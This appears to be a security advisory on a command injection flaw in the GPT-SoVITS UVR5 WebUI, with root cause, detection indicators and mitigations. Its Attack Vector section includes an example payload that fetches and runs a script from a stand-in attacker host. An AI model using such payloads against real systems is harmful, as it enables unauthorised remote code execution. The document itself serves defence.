CVE-2025-71429: GPT-SoVITS OS Command Injection RCE Flaw

CVE-2025-71429 Overview

CVE-2025-71429 is an operating system command injection vulnerability [CWE-78] in GPT-SoVITS through version 20250606v2pro. The flaw resides in tools/uvr5/vr.py and affects the UVR5 WebUI component. Unauthenticated attackers can inject shell substitutions through output folder path parameters when exporting audio in mp3 or m4a format. Successful exploitation executes arbitrary commands under the identity of the server process user. The issue carries a CVSS 4.0 score of 9.3 and is network-reachable with no authentication or user interaction required.

Critical Impact

Unauthenticated remote attackers can achieve code execution on hosts running the GPT-SoVITS UVR5 WebUI by submitting shell substitution payloads in output folder fields.

Affected Products

• GPT-SoVITS through release 20250606v2pro
• The tools/uvr5/vr.py component of the UVR5 WebUI
• Deployments exposing the UVR5 WebUI to untrusted networks

Discovery Timeline

• 2026-10-12 - CVE-2025-71429 published to the National Vulnerability Database
• 2026-10-13 - Last updated in NVD database

Technical Details for CVE-2025-71429

Vulnerability Analysis

GPT-SoVITS is an open-source voice conversion and text-to-speech framework. It bundles the UVR5 WebUI for vocal separation workflows. The vulnerable code path in tools/uvr5/vr.py constructs an external audio export command that interpolates user-supplied output folder values into a shell invocation. Because the string is executed through a shell interpreter, metacharacters such as $(...) and backticks are evaluated before the audio export runs. An attacker who can reach the WebUI can submit a crafted output folder value together with a request to export audio as mp3 or m4a, triggering command execution.

Root Cause

The root cause is unsanitized concatenation of user-controlled input into a shell command string, consistent with the pattern catalogued in [CWE-78]. The export logic for mp3 and m4a targets passes the attacker-supplied folder path to a shell rather than invoking the encoder with an argument vector. No allowlist, escaping, or path validation is applied before the command is executed.

Attack Vector

The vulnerability is reachable over the network with no credentials. An attacker loads the UVR5 WebUI, enters a payload such as $(curl attacker.example/stage.sh|sh) into an output folder textbox, selects mp3 or m4a export, and submits the job. The GPT-SoVITS process evaluates the substitution during export and executes the embedded command. The injected command runs with the privileges of the account running the GPT-SoVITS server, which in many deployments has broad access to local models, datasets, and GPU resources.

See the VulnCheck advisory on GPT-SoVITS and the vulnerable source location in vr.py for implementation details.

Detection Methods for CVE-2025-71429

Indicators of Compromise

• Child processes of the GPT-SoVITS Python interpreter that are not audio encoders, such as sh, bash, curl, wget, python, or nc.
• UVR5 WebUI HTTP requests whose output folder parameters contain shell metacharacters including $(, backticks, |, ;, or &&.
• Outbound network connections initiated by the GPT-SoVITS process to unexpected destinations shortly after an export job.
• Newly created files or cron entries written by the GPT-SoVITS service account outside its model and dataset directories.

Detection Strategies

• Inspect WebUI access logs for requests to UVR5 endpoints with payloads matching shell injection patterns in folder-path fields.
• Hunt for process ancestry where python running webui.py or vr.py spawns shells or network utilities.
• Correlate audio export activity with process execution and network telemetry to flag anomalous command launches tied to mp3 or m4a jobs.

Monitoring Recommendations

• Enable command-line auditing on hosts running GPT-SoVITS and forward process creation events to a central analytics tier.
• Monitor egress from GPU and inference hosts, which typically should not initiate connections to arbitrary internet destinations.
• Alert on modifications to startup directories, SSH authorized_keys files, and scheduled tasks owned by the GPT-SoVITS service account.

How to Mitigate CVE-2025-71429

Immediate Actions Required

• Remove the UVR5 WebUI from any network segment reachable by untrusted users until a patched release is deployed.
• Place the GPT-SoVITS service behind an authenticated reverse proxy and restrict access by source IP.
• Run the GPT-SoVITS process as a dedicated low-privilege account with no write access outside required directories.
• Review historical WebUI and process logs for signs of exploitation using the indicators listed above.

Patch Information

At publication time, no fixed release is identified in the NVD entry for CVE-2025-71429. Track remediation progress through the GPT-SoVITS GitHub repository and the discussion in GitHub Issue #2319. Rebuild deployments from a tagged release that explicitly addresses the vr.py export path once available.

Workarounds

• Disable mp3 and m4a export options in the UVR5 WebUI, retaining only formats that do not invoke an external shell command.
• Apply a local patch that replaces shell-based command construction in tools/uvr5/vr.py with an argument-vector invocation using subprocess.run([...], shell=False).
• Enforce input validation on output folder fields that rejects any value containing shell metacharacters or non-filesystem characters.
• Deploy mandatory access controls such as AppArmor or SELinux profiles that prevent the GPT-SoVITS process from spawning shells or network clients.

# Example reverse proxy restriction limiting UVR5 WebUI access to an internal subnet
location /uvr5/ {
    allow 10.0.0.0/24;
    deny all;
    auth_basic "GPT-SoVITS";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://127.0.0.1:9873;
}